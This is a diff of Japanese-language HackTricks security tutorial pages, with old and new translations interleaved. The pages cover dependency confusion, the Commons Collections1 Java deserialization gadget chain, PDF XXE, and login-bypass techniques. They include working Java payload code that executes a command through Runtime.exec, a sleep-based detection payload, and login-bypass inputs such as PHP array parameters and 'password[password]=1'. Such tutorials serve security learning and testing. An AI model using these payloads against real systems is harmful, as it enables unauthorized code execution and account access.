* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有する**には、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## 基本情報
要約すると、依存関係の混乱脆弱性は、プロジェクトが**スペルミス**、**存在しない**ライブラリ、または**指定されていないバージョン**を使用しており、使用されている依存関係リポジトリが**公開リポジトリから更新されたバージョンを収集することを許可**しているときに発生します。
要約すると、依存関係の混乱脆弱性は、プロジェクトが**スペルミス**のある名前、**存在しない**、または**バージョンが指定されていない**ライブラリを使用しているときに発生し、使用される依存関係リポジトリが**公開**リポジトリから**更新されたバージョンを取得する**ことを許可します。
* **スペルミス**: `requests`の代わりに**`reqests`**をインポート
* **存在しない**: 存在しない内部ライブラリである`company-logging`をインポート
* **指定されていないバージョン**: **内部**の**存在する**`company-requests`ライブラリをインポートしますが、リポジトリは**公開リポジトリ**をチェックして、**より大きなバージョン**があるかどうかを確認します
* **スペルミス**`requests`の代わりに**`reqests`**をインポート
* **存在しない****もはや存在しない**内部ライブラリ`company-logging`をインポート
* **バージョンが指定されていない****内部**の**存在する**`company-requests`ライブラリをインポートするが、リポジトリは**より新しいバージョン**があるかどうかを**公開リポジトリ**で確認する
## 悪用
{% hint style="warning" %}
すべての場合において、攻撃者は単に被害企業が使用しているライブラリの名前を持つ**悪意のあるパッケージを公開する必要があります**
すべての場合において、攻撃者は被害者企業が使用しているライブラリの**名前を持つ悪意のあるパッケージを公開する**だけで済みます
{% endhint %}
### スペルミス存在しない
### スペルミス存在しない
企業が**内部ではないライブラリをインポートしようとしている**場合、ライブラリのリポジトリは**おそらく公開リポジトリ**でそれを検索しようとします。攻撃者がそれを作成している場合、あなたのコードと実行中のマシンはおそらく**侵害される可能性が高い**です
あなたの会社が**内部でないライブラリをインポートしようとしている**場合、ライブラリのリポジトリは**公開リポジトリ**でそれを探す可能性が非常に高いです。攻撃者がそれを作成している場合、あなたのコードと実行中のマシンは非常に高い確率で侵害されるでしょう
### 指定されていないバージョン
### バージョンが指定されていない
開発者がライブラリのバージョンを**指定しない**か、**メジャーバージョン**のみを指定することは非常に一般的です。その後、インタプリタは、これらの要件に一致する**最新バージョン**をダウンロードしようとします。\
ライブラリが**既知の外部ライブラリ**(例python `requests`)である場合、**攻撃者はあまりできません**。なぜなら、`requests`というライブラリを作成することはできないからです(元の著者でない限り)。\
ただし、この例のように、`requests-company`のような**内部**のライブラリの場合、**ライブラリリポジトリ**が**外部からも新しいバージョンを確認できる**場合、公開で利用可能な新しいバージョンを検索します。\
したがって、**攻撃者が**企業が`requests-company`ライブラリ**バージョン1.0.1**を使用していることを知っている場合(マイナーアップデートを許可)、`requests-company`**バージョン1.0.2**を公開することができ、企業は**内部のものの代わりにそのライブラリを使用**することになります。
開発者が使用するライブラリの**バージョンを指定しない**、または**メジャーバージョン**だけを指定することは非常に一般的です。その後、インタープリターはその要件に合った**最新バージョン**をダウンロードしようとします。\
ライブラリが**既知の外部ライブラリ**(例えば、Pythonの`requests`)である場合、**攻撃者はあまりできることがありません**。なぜなら、彼は`requests`という名前のライブラリを作成できないからです(彼が元の著者でない限り)。\
しかし、ライブラリが**内部**である場合、例えばこの例の`requests-company`のように、**ライブラリリポジトリ**が**外部からの新しいバージョンの確認を許可する**場合、公開されている新しいバージョンを探します。\
したがって、**攻撃者が**会社が`requests-company`ライブラリの**バージョン1.0.1**(マイナーアップデートを許可)を使用していることを知っている場合、彼は**バージョン1.0.2**のライブラリ`requests-company`を**公開**し、会社は内部のものの代わりに**そのライブラリを使用する**ことになります。
## AWSの修正
この脆弱性はAWSの**CodeArtifact**で見つかりました(このブログポストの[**詳細を読む**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d))。\
AWSは、内部依存関係を外部リポジトリからダウンロードすることを避けるために、ライブラリが内部か外部かを指定できるように修正しました。
この脆弱性はAWSの**CodeArtifact**で発見されました([**このブログ投稿の詳細を読む**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d))。\
AWSは、ライブラリが内部か外部かを指定できるようにすることで、外部リポジトリから内部依存関係をダウンロードするのを避けるように修正しました。
## 脆弱なライブラリの検出
## 脆弱なライブラリの発見
[**依存関係の混乱に関する元の投稿**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)では、著者が、JavaScriptプロジェクトの依存関係を含む数千の公開されたpackage.jsonファイルを検索しました。
[**依存関係の混乱に関する元の投稿**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)で、著者はJavaScriptプロジェクトの依存関係を含む数千の公開されたpackage.jsonファイルを検索しました。
## 参考文献
@ -59,14 +63,17 @@ AWSは、内部依存関係を外部リポジトリからダウンロードす
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有する**には、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# CommonsCollection1 ペイロード - Java Transformersを使用したRutime exec()およびThread Sleep
# CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)および[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Java Transformersを使用したRutime exec()
## Java Transformers to Rutime exec()
いくつかの場所で、次のようなApache common collectionsからのtransformersを使用するjava逆シリアル化ペイロードが見つかります
いくつかの場所で、次のようなApacheコモンコレクションのトランスフォーマーを使用したJavaデシリアライズペイロードを見つけることができます:
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
@ -52,22 +55,22 @@ lazyMap.get("anything");
}
}
```
もしJavaの逆シリアル化ペイロードについて何も知らない場合、なぜこのコードがcalcを実行するかを理解するのは難しいかもしれません。
Javaのデシリアライズペイロードについて何も知らない場合、このコードがどのようにcalcを実行するかを理解するのは難しいかもしれません。
まず最初に知っておくべきことは、**JavaのTransformer**は**クラスを受け取り**、**異なるクラスに変換する**ものです。\
また、ここで**実行されているペイロード**が**等価**であることを知ることも興味深いです。
まず第一に、**JavaのTransformer**は、**クラスを受け取り**、**別のクラスに変換する**ものであることを知っておく必要があります。\
また、ここで**実行されているペイロード**は**次のものと同等**であることを知っておくと興味深いです:
```java
Runtime.getRuntime().exec(new String[]{"calc.exe"});
```
または、**より正確には**、最終的に実行される内容は次のとおりです:
または**正確に言うと**、最後に実行されるのは次のものです:
```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```
### 方法
### どのように
では、最初のペイロードがどのようにして「シンプルな」ワンライナーと同等であるかを見てみましょう。
では、最初のペイロードが「シンプル」なワンライナーと同等である理由は何ですか?
まず、ペイロードの中で**変換のチェーン(配列)が作成**されていることに気づくことができます。
**まず**、ペイロードには**変換のチェーン(配列)が作成されている**ことに気づくことができます:
```java
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
@ -94,15 +97,15 @@ command
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
```
コードを読むと、配列の変換を何らかの方法で連鎖させると、任意のコマンドを実行できる可能性があります
コードを読むと、配列の変換を何らかの方法で連鎖させることができれば、任意のコマンドを実行できることに気付くでしょう
したがって、**これらの変換はどのように連鎖されるのですか?**
では、**それらの変換はどのように連鎖するのですか?**
```java
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
```
最後のペイロードのセクションでは、**Mapオブジェクトが作成されています**。その後、`LazyMap`から`decorate`関数が実行され、マップオブジェクトとチェーンされたトランスフォーマーが渡されます。次のコードからわかるように、これにより**チェーンされたトランスフォーマー**が`lazyMap.factory`属性の中にコピーされることになります:
ペイロードの最後のセクションでは、**Mapオブジェクトが作成されます**。次に、`LazyMap`からマップオブジェクトとチェーンされたトランスフォーマーを使って関数`decorate`が実行されます。以下のコードから、これにより**チェーンされたトランスフォーマー**が`lazyMap.factory`属性内にコピーされることがわかります:
```java
protected LazyMap(Map map, Transformer factory) {
super(map);
@ -112,9 +115,9 @@ throw new IllegalArgumentException("Factory must not be null");
this.factory = factory;
}
```
そして、壮大なフィナーレが実行されます:`lazyMap.get("anything");`
そして、素晴らしいフィナーレが実行されます: `lazyMap.get("anything");`
これが`get`関数のコードです:
これ`get` 関数のコードです:
```java
public Object get(Object key) {
if (map.containsKey(key) == false) {
@ -125,7 +128,7 @@ return value;
return map.get(key);
}
```
そして、これが`transform`関数のコードです。
そして、これ`transform` 関数のコードです。
```java
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
@ -134,11 +137,11 @@ object = iTransformers[i].transform(object);
return object;
}
```
したがって、**factory** の内部には **`chainedTransformer`** が保存されており、**`transform`** 関数の内部では、**それらのチェーンされたtransformerをすべて通過**し、1つずつ実行しています。面白いことに、**各transformerは入力として`object`** を使用しており、**objectは前に実行されたtransformerの出力**です。したがって、**すべての変換は悪意のあるペイロードを実行するようにチェーンされています**。
だから、**factory**の中に**`chainedTransformer`**を保存しており、**`transform`**関数の中で**すべてのチェーンされたトランスフォーマーを通過して**、1つずつ実行しています。面白いことに、**各トランスフォーマーは`object`**を**入力**として使用し、**objectは最後に実行されたトランスフォーマーからの出力**です。したがって、**すべてのトランスフォームは悪意のあるペイロードをチェーン実行しています**。
### 要
###
最終的に、lazyMapがgetメソッド内でチェーンされたtransformerをどのように管理しているかによって、次のコードを実行しているかのようです。
最終的に、lazyMapがgetメソッド内でチェーンされたトランスフォーマーを管理する方法のため、私たちが以下のコードを実行しているかのようです:
```java
Object value = "someting";
@ -159,15 +162,15 @@ new Class[]{String.class},
command
).transform(value); //(4)
```
_注意してください。`value` は各変換の入力であり、前の変換の出力であり、ワンライナーの実行を可能にしています:_
_Note how `value` は各 transform の入力であり、前の transform の出力であり、ワンライナーの実行を可能にします:_
```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```
ここでは**ComonsCollections1** ペイロードに使用されるガジェットが説明されていました。しかし、**これがどのように実行を開始するかは残されています**。[ここで **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java) を見ると、このペイロードを実行するために、`AnnotationInvocationHandler` オブジェクトが使用されていることがわかります。なぜなら、**このオブジェクトが逆シリアル化されると**、`payload.get()` 関数が呼び出され、**ペイロード全体が実行される**でしょう
注意してください、ここでは**ComonsCollections1**ペイロードに使用される**ガジェット**が説明されました。しかし、**これがどのように実行されるか**は残されています。 [ここで**ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java)を確認できます。このペイロードを実行するために、`AnnotationInvocationHandler`オブジェクトを使用します。なぜなら、**このオブジェクトがデシリアライズされると**、`payload.get()`関数を**呼び出す**からです。これにより、**ペイロード全体が実行されます**
## Java Thread Sleep
## Javaスレッドスリープ
このペイロードは、**Web が脆弱かどうかを特定するのに便利**であり、脆弱である場合はスリープを実行します
このペイロードは、**ウェブが脆弱かどうかを特定するのに便利です。脆弱であればスリープを実行します**
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
@ -210,20 +213,23 @@ lazyMap.get("anything");
}
}
```
## もっとガジェット
## More Gadgets
ちらでさらにガジェットを見つけることができます: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
でさらにガジェットを見つけることができます: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
##
{% hint style="success" %}
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加**または[Telegramグループ](https://t.me/peass)に参加し、**Twitter**で私をフォロー🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,27 +1,33 @@
# PDF Upload - XXE and CORS bypass
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
</details>
**[https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)**
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
**[https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)を確認してください。**
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,47 +1,50 @@
# ログインバイパス
{% hint style="success" %}
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学びましょう</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの一つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家の熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %}
## **通常のログインをバイパスする**
ログインページを見つけた場合、以下のいくつかのテクニックを試してバイパスできます:
ログインページを見つけた場合、ここにバイパスするためのいくつかのテクニックがあります:
* ページ内に**コメント**があるかどうかを確認します(下にスクロールして右に移動しますか
* 制限されたページに**直接アクセスできるかどうかを確認します**
* パラメータを**送信しないで**確認します1つだけでも送信しない
* **PHP比較エラーを確認します:** `user[]=a&pwd=b`、`user=a&pwd[]=b`、`user[]=a&pwd[]=b`
* コンテンツタイプをjsonに変更してjson値を送信しますbool trueを含む
* POSTがサポートされていないという応答を受け取った場合、`Content-Type: application/json`を使用してGETリクエストでJSONを本文に送信してみることができます
* nodejsの潜在的な解析エラーを確認します([**こちら**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)を参照`password[password]=1`
* Nodejsはそのペイロードを次のようなクエリに変換します` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` これにより、パスワード部分が常にtrueになります。
* JSONオブジェクトを送信できる場合、`"password":{"password": 1}`を送信してログインをバイパスできます。
* このログインをバイパスするには、引き続き**有効なユーザー名を知って送信する必要があります**
* `mysql.createConnection`を呼び出す際に`"stringifyObjects":true`オプションを追加すると、パラメータに`Object`が渡された場合の**予期しない動作をすべてブロック**することができます。
* 資格情報を確認します
* 使用されている技術/プラットフォームの[**デフォルトの資格情報**](../../generic-methodologies-and-resources/brute-force.md#default-credentials)
* **一般的な組み合わせ**root、admin、password、技術の名前、これらのパスワードの1つを持つデフォルトユーザー)。
* **Cewl**を使用して辞書を作成し、デフォルトのユーザー名とパスワードを追加し、すべての単語を**ユーザー名とパスワードとして使用してブルートフォース攻撃**を試みます
* より大きな**辞書を使用してブルートフォース攻撃**を行います([**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-post-form)****
* ページ内の**コメント**を確認する(下にスクロールして右に
* **制限されたページに直接アクセスできるか**確認する
* **パラメータを送信しない**何も送信しないか、1つだけ送信する
* **PHPの比較エラーを確認する:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
* **コンテンツタイプをjsonに変更**し、json値を送信するbool trueを含む
* POSTがサポートされていないという応答が返ってきた場合、**GETリクエストでボディにJSONを送信**してみることができます。`Content-Type: application/json`
* nodejsの潜在的な解析エラーを確認する([**これを読む**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)`password[password]=1`
